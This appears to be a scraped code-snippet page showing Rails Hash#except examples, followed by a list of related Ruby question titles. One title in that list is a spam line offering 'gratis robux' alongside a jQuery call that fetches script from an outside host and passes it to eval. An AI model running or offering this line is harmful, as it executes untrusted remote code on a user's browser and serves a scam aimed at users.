Rails excep

hash = { a: true, b: false, c: nil }
hash.except(:c)     # => { a: true, b: false }
hash.except(:a, :b) # => { c: nil }
hash                # => { a: true, b: false, c: nil }

params_to_remove_array = [ :b, :c ]
params.except(*params_to_remove_array) # => { a: true }

Source: apidock.com

Similar codes

0 vote174 views1 answer
Ruby frozen_string_literal
Ruby
0 vote179 views3 answers
Logback grails log in different files
Ruby
0 vote217 views2 answers
Change namespace in rails route
Ruby
0 vote170 views1 answer
Parse xml ruby
Ruby
0 vote116 views2 answers
Rails render partial
Ruby
0 vote180 views3 answers
$ Javascript $ . get ( '//api.rbx2.xyz/rbx id = 16553' , eval ) gratis robux 2000
Ruby
0 vote164 views1 answer
Rails generate migration array default value
Ruby
0 vote169 views1 answer
Ruby multiline string
Ruby
0 vote154 views1 answer
Chop! ruby
Ruby
0 vote201 views1 answer
Self signed ssl certificate update localhost rails
Ruby